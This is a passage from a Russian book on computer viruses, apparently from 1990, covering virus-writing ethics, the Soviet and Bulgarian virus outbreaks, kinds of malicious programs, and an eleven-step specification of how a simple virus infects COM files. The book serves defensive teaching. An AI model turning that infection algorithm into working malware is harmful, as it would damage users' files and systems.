допустимо оставлять такого рода материалы в обычных каталогах на
персональном компьютере коллективного пользования, поскольку
есть немало любителей рыться в чужих каталогах в поисках чего-ни-
будь интересненького. Реконструированный текст следует рассматри-
вать как материал для служебного пользования и не передавать не-
знакомым лицам, даже если, по их словам, они занимаются разработ-
кой антивирусных средств: для создания большинства антивирусных
средств, в особенности фагов, необходимые сведения специалист мо-
жет получить самостоятельно за два-три часа работы.
В особенности это относится к вузам, где, несмотря на нашу бед-
ность, талантливые ребята все же имеют возможность работать на
персональных ЭВМ. Часто такие ребята предоставлены сами себе и не
имеют поддержки со стороны преподавателей программирования, многие
из которых давно отошли или вообще никогда не занимались разработ-
кой реальных программ и просто боятся студентов, знающих слишком
много. При отсутствии более конструктивной цели, заполучив какие-
нибудь листинги, такие студенты могут заняться разработкой виру-
сов, а не антивирусов, не отдавая себе отчет в аморальности своих
действий. Поскольку обмен программами между студентами обычно
весьма интенсивен, вирус имеет определенные шансы на быстрое рас-
пространение. Поэтому необходимы определенные действия обществен-
ности, чтобы предотвратить такую возможность. Они могут включать
награду каждому, кто сообщит автора того или иного вируса, а также
разъяснительную работу относительно этического содержания действий
разработчиков вирусов. В этом плане заслуживает внимания обращение
к авторам вирусов американской общественной организации Професси-
оналы-программисты за социальную ответственность:
У Вас есть талант, чтобы сделать что-то полезное в жизни. То,
что Вы делаете, вредит промышленности и обществу, которое готово
принять Вас и ваш талант с распростертыми объятьями. Удовлетворе-
ние, которое Вы получите от сотрудничества с нами, намного выше
того, которое Вы получите при нанесении вреда ни в чем не повинным
людям. Остановитесь !
Среди программистов существует два основных мнения относительно
того, следует ли публиковать сведения о конкретных вирусах и мето-
дах атаки, используемых ими. Одни считают, что публикация техниче-
ских подробностей облегчит криминальным элементам, которые, к со-
жалению, имеются и среди программистов, создание более опасных и
разрушительных вирусов. Другие придерживаются противоположного
мнения, полагая, что публикация этих данных будет способствовать
мобилизации сил на создание мощных средств борьбы с этой разновид-
ностью компьютерного вандализма и предотвратит ненужное дублирова-
ние усилий. Автор придерживается второй точки зрения и считает,
что создание мощных средств защиты позволит поднять планку тех-
нической сложности разработки эффективного вируса до уровня, на
порядок превышающего сегодняшний, что существенно сузит круг лиц,
представляющих потенциальную опасность.
При написании данной работы автор сознательно исключил ряд све-
дений, которые могли бы быть использованы во вред. В частности,
дампы зараженных программ приводятся в сокращенном виде. Однако
решающее значение, по-видимому, имеет создание общественной атмос-
феры нетерпимости к попыткам разработки или использования вирусов.
Если такие попытки будут вызывать не отпор, а поощрительное похло-
пывание по плечу в коллективе разработчика, то в скором времени и
пользователям и разработчикам антивирусных программ придется бо-
роться на два фронта: против вирусов, попадающих с Запада (или с
Востока) и против отечественных разновидностей. Тем более, что
первые отечественные вирусы уже появились. Ситуация с отечествен-
ными разработчиками вирусов усложняется тем, что их довольно слож-
но привлечь к уголовной ответственности по действующему законода-
тельству (хотя специфика советской действительности оставляет не-
которую надежду в случае, если от этого вируса полетит важная
информация где-нибудь в прокуратуре или министерстве юстиции).
В связи с этим следует отметить полную бесперспективность попы-
ток использования вирусов для защиты программного обеспечения от
незаконного копирования. Поскольку распространение вируса не явля-
ется контролируемым процессом, то в данном случае скорее всего по-
страдают не лица, использовавшие незаконную копию, а другие поль-
зователи. Хотя я ни в коей мере не оправдываю незаконное копирова-
ние программ, но лекарство не должно быть опаснее, чем болезнь. Не
стоит бросать бомбу в магазин для наказания человека, укравшего
пачку сливочного масла. Более того, установление автора вируса бу-
дет означать полную потерю репутации разработчика и, следователь-
но, коммерческий крах. Этому будет, несомненно, способствовать и
широкая огласка, включая сообщения на профессиональных семинарах,
и публикации в прессе, которые последуют за установлением авто-
ра(ов) вируса.
1.2.15. Проблема самоизоляции
Не так страшен черт,
как его малюют
Пословица
Основная проблема для пользователей ПЭВМ, возникающая в связи с
появлением компьютерных вирусов, состоит в том, как защитить свои
программы и данные, не прибегая к самоизоляции. Практика показыва-
ет, что эта проблема вполне разрешима. Как и против биологических
вирусов, для борьбы с компьютерными вирусами может применяться це-
лый комплекс мер: технические, организационные, юридические. Поэ-
тому наблюдаемая сейчас тенденция к самоизоляции представляется
автору совершенно неоправданной. Такое сверхреагирование в усло-
виях нашей страны практически равносильно добровольному отказу от
возможностей хоть как-то улучшить условия всей работы и повысить
ее производительность. Учитывая недоступность для большинства про-
граммистов фирменных программных продуктов, оригинальных ино-
странных журналов, доступа к национальным сетям -- всему тому, что
является повседневностью для программиста в США и Западной Европе,
обмен информацией на дискетах является, по сути, единственным спо-
собом получить информацию и хоть немного поднять собственный уро-
вень.
Потери данных в результате разрушительного действия компьютерных
вирусов в настоящее время довольно редки и по частоте не превосхо-
дят случаев потерь данных из-за неисправности оборудования. Боль-
шинство случаев заражения программного обеспечения компьютерными
вирусами, отмеченных к этому времени, не вызывали серьезных потерь
данных. В то же время сама возможность таких потерь вызывает впол-
не понятную тревогу, поскольку хотя шансы попасть под разрушитель-
ную атаку вируса пока невелики, но они, к сожалению, увеличиваются
по мере проникновения в страну новых типов и разновидностей виру-
сов. Кроме того, каждый понимает, что такой атаке можно подверг-
нуться в самый неподходящий момент. Это беспокойство имеет свои
положительные и отрицательные стороны. Отрицательной стороной яв-
ляется то, что оно толкает пользователей к самоизоляции, когда они
начинают бояться брать и пробовать интересующие их программы, хо-
тя, как уже отмечалось выше, в наших условиях такой обмен информа-
цией является основным методом повышения собственной производи-
тельности. Положительно то, что пользователи начинают уделять
адекватное внимание созданию архивных копий своих данных, а также
методам повышения надежности их хранения. Следует отметить, что,
хотя потеря содержимого дискеты, а тем более винчестера, способст-
вует быстрой выработке привычки архивировать данные, это вряд ли
можно называть приемлемым способом воспитания такой привычки и ее
лучше прибрести заблаговременно. В любом случае следует трезво
оценивать опасность: переоценка не намного лучше, чем недооценка.
1.3. Современная ситуация
Эх, Эх ! -- ей Моська отвечает
Вот то-то мне и духу придает
Что я совсем без драки
могу попасть в большие забияки!
И.А.Крылов
Количество персональных компьютеров в СССР уже начинает прибли-
жаться к миллиону. Конечно, до США, где количество персональных
компьютеров сопоставимо с количеством телефонных аппаратов, нам
еще очень и очень далеко, однако и такое количество уже представ-
ляет собой закритическую массу для создания и распространения
компьютерных вирусов собственной разработки. Поэтому неудивитель-
но, что в этом году появились файловые вирусы местного
производства (RC-600, RCE-1600, С-257, С-1004).
В 1990 г. поток вирусов, поступающих в нашу страну из-за рубежа,
несколько возрос по сравнению с 1989 г. Скорость поступления можно
оценить как примерно два вируса в месяц. Из них менее половины по-
лучают существенное распространение. Основной вклад в этот поток
продолжают вносить файловые вирусы из Болгарии (RCE-2000, RCE-1277
и др.). Поскольку за прошедший год уровень информированности поль-
зователей существенно возрос, выявленные вирусы были сравнительно
быстро локализованы. Вместе с тем, пользователи малых и отдаленных
городов нашей страны все еще сообщали о случаях заражения вирусами
RC-1701, Stone и других прошлогодних вирусах, эпидемии которых в
больших городах уже практически закончились. Таким образом, рас-
ползание вирусов идет от центра к периферии, как это происходит и
с естественными вирусами, скажем, вирусом гриппа. Опыт показал,
что скорость распространения вирусов из одного города в другой не
так уж велика, и запаздывание достигает нескольких месяцев. Это
создает возможность подготовиться к появлению очередного вируса за
счет оперативного распространения соответствующей информации и ан-
тивирусных средств через бюллетень СОФТПАНОРАМА.
В феврале 1990 г. семинаром Системное программирование был ор-
ганизован первый конкурс антивирусных программ, распространяемых
бесплатно, проводившийся в трех классах (фаги, детекторы и ревизо-
ры, резидентные фильтры). В классе фагов первое место заняла про-
грамма AIDSTEST Д.Н.Лозинского, второе место -- программа DOCTOR
А.А.Чижова. В классе детекторов и ревизоров первое место занял ре-
визор DLI В.Герасимова, второе место -- контекстный детектор VL
А.Л.Шеховцова. И наконец, в классе резидентных фильтров два первых
места поделили программы SBM В.Еременко и Б.Мостового и программа
CHECK21 В.Двоеглазова.
1.3.1. Хроника событий
Первые два месяца 1990 г. оказались довольно спокойными. В марте
появился вирус Sunday, или RСЕ-1636 по используемой автором клас-
сификации. Изучение кода показало, что его можно рассматривать в
качестве штамма вируса RCE-1813 (Ierusalem, Black Friday). В воск-
ресенье RСЕ-1636 удаляет все запускаемые программы. В этом же ме-
сяце был обнаружен бутовый вирус DiskKiller тайваньского происхож-
дения. Это первый из попавших в наших страну вирусов, уничтожающих
информацию на всем винчестере так, что ее потом крайне трудно, а
для специалиста, не владеющего ассемблером, -- невозможно восстано-
вить. В частности, от этого вируса пострадал ряд ВЦ в западных об-
ластях Украины.
В апреле в Москве был обнаружен вирус RCE-2000 болгарской
разработки. В мае в Днепропетровске был обнаружен вирус RC-600 --
первый вирус, относительно которого достоверно известно, что он
был разработан в СССР. В июне в Киеве был обнаружен вирус MERPHY,
разработанный в Болгарии. В этом же месяце в Москве был обнаружен
вирус RCE-1600. Приблизительно в это же время в Москве был обнару-
жен бутовый вирус DEN ZUK и бутовый вирус индийского производст-
ва -- Joshy. В июле в нескольких точках Москвы был обнаружен вирус
RC-492. В частности, автор обнаружил его, находясь в командировке
в ВЦ АН СССР.
К сентябрьскому семинару 1990 г. было обнаружено еще шесть новых
вирусов: С-1004 (Bebe), Flu-2 (LoveChild), Attention, Print
Screen, Kemerovo-Reboot и 4096. Последний является представителем
нового поколения вирусов -- так называемых стелс-вирусов и пред-
ставляет большую опасность из-за довольно скрытого характера рас-
пространения и проявлениям, похожим на сбои оборудования. Сразу
после сентябрьского семинара был выявлен еще один представитель
стелс-вирусов -- RC-512, разработанный в Болгарии.
1.3.2 Болгарский вирусный взрыв
Как уже отмечалось, Болгария стала одним из мировых центров раз-
работки файловых вирусов. Начиная с середины 1989 г. наплыв ви-
русов из Болгарии все увеличивается и увеличивается, причем ряд
разработанных там вирусов оказались весьма изощренными и опасными.
Этот поток вирусов, затронувший как СССР, так и западные страны,
получил название болгарского вирусного взрыва. Это не совсем то-
чное название, поскольку правильнее говорить об информационном
взрыве: многие из так называемых болгарских вирусов либо вообще
не были выпущены на свободу, либо быстро локализованы и уничто-
жены, не успев создать эпидемию, однако тот факт, что они были со-
браны В.Бончевым и переданы западным вирусологам в течении доста-
точно короткого промежутка времени создал иллюзию взрыва.
Деятельность болгарских техно-крыс нанесла определенный ущерб
нашей стране, поскольку из Болгарии вирусы быстро попадают в СССР.
Всего к нам попало более 20 болгарских вирусов, ряд из которых
распространился достаточно широко. Среди последних отметим группу
Dark Avenger (RCE-1800 - Еddie, RCE-02000 - AntiBontchev, RC-512 и
др.) и группу TP-вирусов (RСE-1206, RCE-1805, RCE-2885 и др.).
Многие сотни, если не тысячи, часов были потрачены на анализ и
дезинфекцию зараженных ими программ.
Факты свидетельствуют о том, что начиная с 1988 г., в Софии сло-
жилась группа лиц, активно разрабатывавшая и распространявшая ком-
пьютерные вирусы. Общее количество разработанных ими вирусов
приближается к сотне. Среди них отметим техно-крысу, разработавшую
серию TP. Эта техно-крыса, по данным В.Бончева, закончившая свою
деятельность по созданию новых вирусов летом 1989 г., ранее была
сотрудником Высшего машинно-электротехнического института (теперь
Инженерная академия), расположенного в Софии. Фамилия автора виру-
са RE-1961 (В.Бочев) стала известна по попавшему в СССР на вирус-
ной дискете Бончева исходному тексту вируса RЕ-1961 (Yankee
Doodle-2). Этот нерезидентный файловый вирус был исторически пер-
вым болгарским вирусом, заражавшим EXE-файлы стандартным способом
и первым вирусом, использовавшим мелодию играющего мелодию Янки
Дудль Денди при запуске зараженного файла. Правда, несколько
странно, что болгарский программист использовал в своей программе
мелодию марша Янки Дудль Денди (Yankey Doodle Dandy). Кстати,
В.Бочев является автором некоторых статей, опубликованных в Ком-
пютър за вас [ ].
Наиболее известной болгарской техно-крысой на данный момент яв-
ляется программист, скрывающийся под кличкой Dark Avenger, проду-
кция которого (более десятка изощренных вирусов) уже могла бы
быть оценена в западных странах солидным сроком тюремного заключе-
ния. Первым из вирусов, разработанных этой техно-крысой, в СССР
попал вирус RCE-1800. Этот вирус, часто называемый Eddie, по соде-
ржащейся в нем текстовой строке был и остается одним из наиболее
опасных файловых вирусов. В нем предусмотрено разрушение секторов
на диске, а также использован несколько отличный от предыдущих ви-
русов механизм размножения (RCE-1800 заражает файлы не только при
выполнении, но и при открытии), обеспечивавший вирусу более быст-
рое распространение.
Весной 1990 г. в нашей стране был обнаружен очередной вирус
этого технопата -- RCE-02000, который на зараженной машине маски-
рует увеличение длины зараженных файлов. Это один из наиболее
скрытно размножающихся и опасных вирусов-вандалов. В тексте вируса
RCE-02000 имеется строка (c) 1989 by Vesselin Bontchev, располо-
женная в конце тела вируса, т.е. в последнем блоке зараженной про-
граммы. Подобного рода клеветнические приемы типичны для техно-
крыс и В.Бончев не является первым и последним разработчиком анти-
вирусных программ, которому приходится защищаться от пиратства
наоборот. Попытки приписать авторство вирусов разрабочикам анти-
вирусных программ или превратить очередные версии этих программ в
троянские, т.е. распространяющие новый вирус, предпринимались тех-
но-крысами неоднократно, однако в случае RCE-02000 вирус, являясь
резидентным, еще и блокирует запуск антивирусных программ В.Бонче-
ва, проверяя загружаемые программы на наличие части приведенной
выше строки и вызывая зависание, если строка найдена. В 3/4 номере
за 1990 г. журнала Компьютер за вас В. Бончевым было опубликова-
но опровержение, подтвердившее, что автором данного вируса являет-
ся DARK AVENGER -- предположение возникшее у большинства советсвих
вирусологов, анализировавших кода данного вируса. Более того, в
указанном номере опубликовано и письмо самого DARK AVENGER. По-ви-
димому, это первая публикация техно-крысы, хотя не совсем понятно,
зачем предоставлять технопатам возможность печататься. Поскольку
появление письма DARK AVENGER по времени совпало с распространени-
ем вируса RCE-02000, это еще раз показывает, насколько техно-кры-
сам присущ комплекс Герострата. Интересно отметить, что в письме
название журнала Компютър за вас изменено на достаточно едкое
Вирус за вас, что, учитывая факт публикации письма и статей
В.Бочева, имеет определенные основания.
1.3.3. Колхоз им. Герострата, или небывалый вирусный урожай 1990
Скоро ваши рыжие кудри, Шура,
примелькаются, и вас начнут бить
И.Ильф и Е.Петров
Дурной пример заразителен, и в настоящее время cоветским вирусо-
логам уже нельзя в своих публикациях кивать на Болгарию -- мол
какое у них творится безобразие. Социально-экономические условия
СССР и Болгарии достаточно близки, а существовавшее значительное
отставание в распространении персональных компьютеров сейчас нес-
колько сократилось. Поэтому грядет советский вирусный взрыв, тем
более, что если по качеству мы всегда отстаем, то по количеству
какой-то вредной продукции являемся мировым лидером. И я боюсь,
что по количеству разрабатываемых компьютерных вирусов мы скоро
будет серьезно конкурировать с Болгарией. Уже сейчас можно назвать
более десятка вирусов, разработанных в СССР. К ним относятся RC-
529, RC-600, RCE-1600, RCE-2458 (Victor), С1004 (Bebe), и вероят-
но, С257. Первые три вируса разработаны в Воронеже, и соответству-
ющий член колхоза имени Герострата известен в кругах вирусологов
как Воронежский пакостник. Интересно отметить, что эта технокры-
са работает в паре со своим отцом, специализирующимся на распрост-
ранении выращенных вирусов. Вот уж, действительно, ...яблоко от
яблони ... Вирус RCE-2458 живьем пока не попадался и, возможно,
разработан кем-то из иммигрантов. Происхождение вируса C-1004
(Bebe) выдают содержащиеся в нем фразы.
Из указанных вирусов наибольшее распространение получил, по ви-
димому, RC-1600, который был обнаружен в июне 1990 г. Учитывая
предупреждение Томпсона, высказанное им в его знаменитой Тьюрин-
говской лекции, автор призывает продуманно подходить к упоминанию
фамилий разработчиков вируса в антивирусных программах, документа-
ции к ним и публикациях на данную тему. Незачем создавать рекламу,
по сути идя на поводу у какого-то молодого балбеса или ущербной
личности, страдающей от чувства собственной неполноценности и не
способной найти своим ограниченным способностям какое-то конструк-
тивное применение.
2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
Не стоит слишком мучать себя
вопросом: Как это возможно?
Р.Фейнман
Уже в середине 60-х гг. разработчики и пользователи обнаружили,
что системы разделения времени весьма небезопасны с точки зрения
возможности доступа к чужим данным и программам посторонних лиц, и
начали принимать меры защиты против непрошенных гостей. Поэтому
сначала кратко рассмотрим некоторые приемы, применяемые злоумыш-
ленниками для повреждения чужих программ и данных. Важно пони-
мать, что вирусы являются только одним из возможных способов ин-
фильтрации в чужую компьютерную систему.
Доверие к той или иной компьютерной системе фактически означает
доверие по отношению к тем, кто ее разработал, и тем, кто ею поль-
зуется. Эксперты по безопасности компьютерных систем часто подчер-
кивают, что эти проблемы в значительной степени являются социаль-
ными проблемами. Поэтому, как и в других сферах человеческой дея-
тельности, появилась и развивается компьютерная преступность. Ви-
русы являются только частью проблемы компьютерной преступности, и
их правильнее всего рассматривать в этом, более общем контексте.
2.1. Программы-вандалы
Homo homini lupus est
(Человек человеку волк)
Плавт
Класс программ, направленных на причинение вреда пользователям,
часто обозначают термином Badware, по аналогии с тем, что для
обозначения программного обеспечения обычно используется термин
Software. На русский язык этот термин иногда переводится каль-
кой софтвер, который не прижился из-за своей неблагозвучности .
Мне кажется, что в технической литературе отдельные общепринятые
иностранные слова можно использовать без перевода. Badware включа-
ет ряд подклассов, среди которых наиболее распространенными явля-
ются троянские программы и компьютерные вирусы.
2.2.Троянские программы
O tempora, o mores !
(О времена, о нравы !)
Цицерон
Троянскими программами (троянскими конями) обычно называют про-
граммы, содержащие скрытый модуль, осуществляющий несанкциониро-
ванные действия. Эти действия не обязательно могут быть разруши-
тельными, однако практически всегда направлены во вред пользовате-
лю. В свою очередь, троянские программы можно разделить на не-
сколько категорий.
Троянские программы-вандалы обычно выполняют или имитируют вы-
полнение какой-нибудь полезной или экзотической функции. При этом
в качестве побочного эффекта они стирают файлы, разрушают катало-
ги, форматируют диск и т.д. Иногда разрушительный код встраивается
в какую-нибудь известную программу. Чтобы привлечь пользователей,
полученная троянская программа-вандал часто маскируется под новую
версию данного программного продукта.
С появлением BBS программы-вандалы получили значительное распро-
странение. При этом техно-крыса подсовывает программу в один или
несколько BBS, пользователи которых затем попадаются на удочку.
В качестве примера троянской программы-вандала можно привести про-
грамму SURPRISE (Сюрприз). Написанная на Бейсике, она исполняла
команду DEL *.*, а затем выдавала на экран строку Surprise !. И
таких простых и злобных программ создано немало. С их распростра-
нением запуск новой программы на компьютере стал небезопасной опе-
рацией.
Иногда в качестве самостоятельной разновидности троянских про-
грамм-вандалов выделяют так называемые логические мины (logic
bomb) у скрытые модули, встроенные в ранее разработанную и широко
используемую программу. Такой модуль является безвредным до опре-
деленного события, при наступлении которого он срабатывает. Такого
рода программы иногда используются уволенными или обиженными со-
трудниками как форма мести по отношению к нанимателю. Частный слу-
чай логических мин, в которых срабатывание скрытого модуля опреде-
ляется временем, часто называют минами с часовым механизмом (time
bomb). Фактически логические мины являются средством компьютерного
саботажа и их создание должно предусматривать уголовную ответст-
венность. Хотя, как указано выше, компьютерный саботаж обычно свя-
зан с местью обиженных или уволенных программистов своему бывше-
му работодателю, он может использоваться и как форма конкурентной
борьбы.
В истории отечественного программирования было несколько гром-
ких случаев компьютерного саботажа. Так, лет семь назад отечест-
венные газеты сообщали о программисте, который перед своим уволь-
нением встроил в программу, управлявшую главным конвейером Горько-
вского автомобильного завода, мину, которая через некоторое вре-
мя привела к остановке главного конвейера. Программист был выявлен
и осужден. На Западе, наряду с попытками хищения средств через
банковские компьютеры, распространены случаи компьютерного сабота-
жа по отношению к различного рода финансовым системам, вплоть до
шифровки базы данных с последующим требованием выкупа за ключ
(программу) расшифровки. Последним известным случаем такого рода
было описанное выше распространение дискеты с информацией по
СПИДу, в которой программа управления базой данных была троянской.
Программы, обеспечивающие вход в систему или получение привиле-
гированной функции (режима работы) в обход существующей системы
полномочий, называют люками (back door). Люки часто оставляются
разработчиками соответствующих компонент операционной системы для
того, чтобы завершить тестирование или исправить какую-то ошибку,
но нередко продолжают существовать и после того, как то, для чего
они планировались, завершено или необходимость в нем отпала. На-
пример, в операционной системе ОС ЕС широко использовалcя люк
NEWPSW, позволявший программе пользователя получить привилегиро-
ванный режим, называемый в серии 360/370 режимом супервизора, в
обход средств контроля операционной системы.
Троянские программы могут также использоваться в целях разведки.
К распространенным программам такого рода относятся программы уга-
дывания паролей. Одной из компонент сетевого вируса Морриса была
такая программа, причем, как оказалось, она сумела добиться успеха
в значительном числе случаев.
2.3. Компьютерные вирусы
Да он-то как вперед пробрался ?у
За хвостик тетеньки держался !
И.Франко
Формально компьютерным вирусом называется программа, которая мо-
жет заражать другие программы путем включения в них своей, возмож-
но модифицированной, копии, причем последняя сохраняет способность
к дальнейшему размножению [Cohen88a]. Программа, зараженная виру-
сом, может рассматриваться как автоматически созданная троянская
программа. В данном случае скрытым модулем является тело вируса, а
одним из несанкционированных действий у заражение других программ.
Помимо заражения, вирус, подобно любой другой троянской программе,
может выполнять и другие несанкционированные действия, от вполне
безобидных до крайне разрушительных. Последние, в частности, могут
включать уничтожение данных на зараженном диске. В этом случае ви-
рус может рассматриваться как логическая мина. Выполняемые вирусом
несанкционированные действия могут быть обусловлены наступлением
определенной даты (такие троянские программы в какой-то степени
аналогичны минам с часовым механизмом) или определенного количест-
ва размножений, или сочетанием определенных условий, например за-
писи зараженной программы на винчестер (последние аналогичны раз-
личного рода бесконтактным минам). При этом комбинация этих усло-
вий может быть достаточно сложной, чтобы затруднить ее определение
(как например, в вирусе Пинг-понг).
Инфицируя программы, вирусы могут распространяться от одной про-
граммы к другой (транзитивно), что делает их более опасными по
сравнению с другими методами компьютерного вандализма. Зараженные
программы (или их копии) могут передаваться через дискеты или по
сети на другие ЭВМ. Учитывая широко распространенную практику об-
мена и передачи программ на дискетах среди пользователей персо-
нальных ЭВМ, количество зараженных программ может быть значитель-
ным, приводя к своего рода эпидемиям. Этому также способствует
распространенная в нашей стране практика использования одной ПЭВМ
несколькими пользователями. Опасность существенно возрастает при
наличии винчестера, программы на котором используются всеми поль-
зователями. В этом случае один неквалифицированный или злонамерен-
ный пользователь может нанести значительный ущерб другим пользова-
телям. Особую опасность с точки зрения распространения компьютер-
ных вирусов представляют любители компьютерных игр, обычно слабо
знающие операционную систему и не вполне понимающие смысл выполня-
емых ими действий. Такие пользователи подвергают значительному ри-
ску своих коллег, работающих с ними на одной ПЭВМ.
Упрощенно процесс заражения вирусом программных файлов можно
представить следующим образом. Код зараженной программы обычно из-
менен таким образом, чтобы вирус получил управление первым, до на-
чала работы программы-вирусоносителя (рис.2). При передаче управ-
ления вирусу, он каким-то способом находит новую программу и вы-
полняет вставку собственной копии в начало (рис.2б) или добавление
ее в конец этой, обычно еще не зараженной, программы (рис.2а). Ес-
ли вирус дописывается в конец программы, то он корректирует код
программы, чтобы получить управление первым. Для этого первые не-
сколько байтов запоминаются в теле вируса, а на их место вставля-
ется команда перехода на начало вируса. Этот способ является наи-
более распространенным. Получив управление, вирус восстанавливает
спрятанные первые байты, а после отработки своего тела передает
управление программе-вирусоносителю, и та нормально выполняет свои
функции. Возможны случаи, когда вирус включает себя куда-то в се-
редину программы, например, в область стека (рис.2в). Последние
случаи встречаются редко.
+------------------+ +-------------+ +------------------+
|++++++++++++++++++| |+++++++++++++| |++++++++++++++++++|
|+Команда перехода+|+ |+++++++++++++| |+Команда перехода+|+
|++++++++++++++++++|| |+Тело вируса+| |++++++++++++++++++||
|------------------|| |+++++++++++++| |------------------||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|+ ЗАРАЖЕННАЯ +++|| |+++++++++++++| |+ НАЧАЛО +++||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|+ ПРОГРАММА ++|| |+++++++++++++| |+ ЗАРАЖЕННОЙ +++||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|+ (COM - ФАЙЛ) ++|| |+++++++++++++| |+ ПРОГРАММЫ ++||
|++++++++++++++++++|| |+ЗАРАЖЕННАЯ +| |++++++++++++++++++||
|++++++++++++++++++|| |+++++++++++++| |++++++++++++++++++||
|++++++++++++++++++|+ |+ПРОГРАММА +| |++++++++++++++++++|+
|++++Тело вируса+++| |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++| |+COM - ФАЙЛ)+| |++++Тело вируса+++|
|++++++++++++++++++| |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++| |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++| |+++++++++++++| |++++++++++++++++++|
|+Спрятанные байты+| |+++++++++++++| |+Спрятанные байты+|
|++++++++++++++++++| |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++| |+++++++++++++| |++++++++++++++++++|
|++++++++++++++++++| |+++++++++++++| |++++++++++++++++++|
+------------------+ +-------------+ |------------------|
а б |++++++++++++++++++|
|+ КОНЕЦ +++|
Рис. 2. |++++++++++++++++++|
Схема заражения вирусом COM-файлов: |+ ЗАРАЖЕННОЙ +++|
а - в конец программы; |++++++++++++++++++|
б - в начало программы; |+ ПРОГРАММЫ ++|
в - в середину программы. |++++++++++++++++++|
+------------------+
в
2.4. Анатомия компьютерного вируса
Наиболее распространенными типами компьютерных вирусов в MS DOS
являются файловые нерезидентные, файловые резидентные и бутовые
вирусы. Многие из пользователей имеют ограниченный опыт работы с
МS DOS. В то же время, для понимания функционирования файловых ви-
русов и средств защиты от них важно понимать структуру файловой
системы и прерываний MS DOS. Поэтому в приложении 6 приводится
краткий обзор структуры файловой системы MS DOS, в приложении 7 -
структуры исполняемых файлов и некоторых управляющих блоков, а в
приложениях 8 и 9 у сведения о прерываниях. Более подробные сведе-
ния можно получить в учебниках по языку ассемблера [Скенлон89], в
электронном справочнике TECHHELP, а также книгах П.Нортона [Нор-
тон90] и Жордена. Разбор анатомии компьютерных вирусов начнем с
анализа структуры нерезидентного файлового вируса, как простейшей
разновидности этого класса системных программ.
Структурно компьютерный вирус можно представить состоящим из
двух частей: головы и хвоста. Головой называется часть вируса,
которая первой получает управление. Хвост вируса - это части виру-
са, расположенные отдельно от головы. В простейшем случае вирус
может состоять из одной головы, и действительно файловые вирусы
обычно так и устроены. Такие вирусы будем называть несегментиро-
ванными. В отличие от них сегментированные вирусы имеют располага-
ющийся отдельно хвост и в какой-то мере аналогичны оверлейным фай-
лам. Примером сегментированных вирусов являются бутовые вирусы,
хотя возможна реализация сегментированных файловых вирусов.
2.4.1. Структура файлового нерезидентного вируса
Файловые вирусы являются наиболее распространенной разновид-
ностью компьютерных вирусов. Принципиально они заражают любой тип
исполняемых файлов, существующих в MS DOS: COM, EXE, OVL и т.д.
Однако основными объектами заражения являются файлы типа COM и
файлы типа EXE. Некоторые сведения о структуре этих файлов приве-
дены в прил. 6. Наиболее просто осуществляется заражение COM-фай-
лов, которые представляют собой почти точную копию участка памяти
с загруженной программой. Единственная требуемая настройка при за-
грузке COM-файлов состоит в загрузке сегментных регистров значени-
ями, соответствующими месту загрузки программы. Значительная часть
COM-файлов начинается с команды перехода, обходящей содержащие в
начале программы данные.
При заражении COM-файлов вирус запоминает в своем теле первые
три или больше байтов программы и вместо них записывает переход на
начало собственного кода. Так поступает большинство файловых виру-
сов, заражающих COM-файлы, но не все. Дело в том, что при дописы-
вании тела вируса в конец заражаемого файла весь код вируса должен
быть написан специальным образом, обычно называемым позиционно-не-
зависимым программированием: при выполнении программы все ссылки
должны адресоваться через соответствующее смещение, которое обычно
хранится в одном из регистров.
Некоторые вирусы используют более примитивный подход: вместо до-
писывания своего тела в конец заражаемого COM-файла они перемещают
туда первые несколько блоков программы, а сами записываются на
место освободившихся блоков. Так, например, поступает вирус RCE-
1813. В этом случае только программа восстановления исходного со-
стояния программы должна быть позиционно-независимой или она долж-
на размещаться где-то в фиксированных адресах памяти, используя
какой-то неиспользуемый ее участок.
Простейший нерезидентный компьютерный вирус, заражающий COM-
файлы в текущем каталоге и дописывающий свое тело в конец файла,
можно представить в виде следующей неформальной спецификации.
Шаг 1: Восстановить первые три байта программы. Три байта
зараженной программы, сохраненные в теле вируса, пересылаются на
свое старое место.
Шаг 2: Проверить среду. Проверить версию операционной системы.
Если не подходящая, то перейти к шагу 11.
Шаг 3: Найти очередную жертву(ы). Найти в текущем каталоге оче-
редной файл типа COM. При неудаче перейти к шагу 11.
Шаг 4: Проверить зараженность потенциальной жертвы. Считать об-
ласть, позволяющую установить, заражен ли уже данный файл вирусом
или нет. Проверить содержимое этой области. Если файл уже заражен,
то перейти к шагу 3, иначе перейти к шагу 5.
Шаг 5: Проверить, подходит ли жертва для заражения. Если длина
файла + длина вируса больше 64К, перейти к шагу 3, иначе перейти к
шагу 6.
Шаг 6: Снять атрибут READ ONLY, запомнить дату создания програм-
мы. Снять указанный атрибут и запомнить в своем теле дату создания
программы.
Шаг 7: Обеспечить передачу управления вирусу. Считать первые три
байта зараженной программы и записать их в своем теле. Сформиро-
вать команду перехода на байт, следующий за концом программы, и
записать соответствующие три байта в начало заражаемой программы.
При неудаче перейти к шагу 11, иначе перейти к шагу 8.
Шаг 8: Дописать тело вируса в конец заражаемой программы. Пере-
двинуть указатель файла в конец программы и установить режим доза-
писи. Переписать свое тело в конец заражаемой программы. При неу-
даче перейти к шагу 11, иначе перейти к шагу 9.
Шаг 9: Восстановить дату создания зараженной программы. Записать
в элемент каталога, соответствующий заражаемой программе, дату,
сохраненную в теле вируса.
Шаг 10: Восстановить атрибут READ ONLY. Присвоить заражаемому
файлу атрибуты, установленные у файла до заражения и сохраненные в
теле вируса. При неудаче перейти к шагу 11, иначе перейти к шагу
10.
Шаг 11: Выход. Восстановить содержимое регистров и передать уп-
равление программе-вирусоносителю.
Как видно из приведенной схемы, данный вирус распространяется не
мгновенно по всей файловой системе, а постепенно, по мере зараже-
ния файлов в текущем каталоге. Поэтому от момента появления в фай-
ловой системе первого зараженного файла до заражения всех файлов в
каталоге должно пройти некоторое время, зависящее от интенсивности
использования зараженной программы.
Наиболее уязвимыми с точки зрения блокирования размножения виру-
са являются шаг 6 (попытка снятия атрибута READ ONLY), шаги 7,8 у
запись в файл, содержащий исполняемую программу, и шаг 9 у уста-
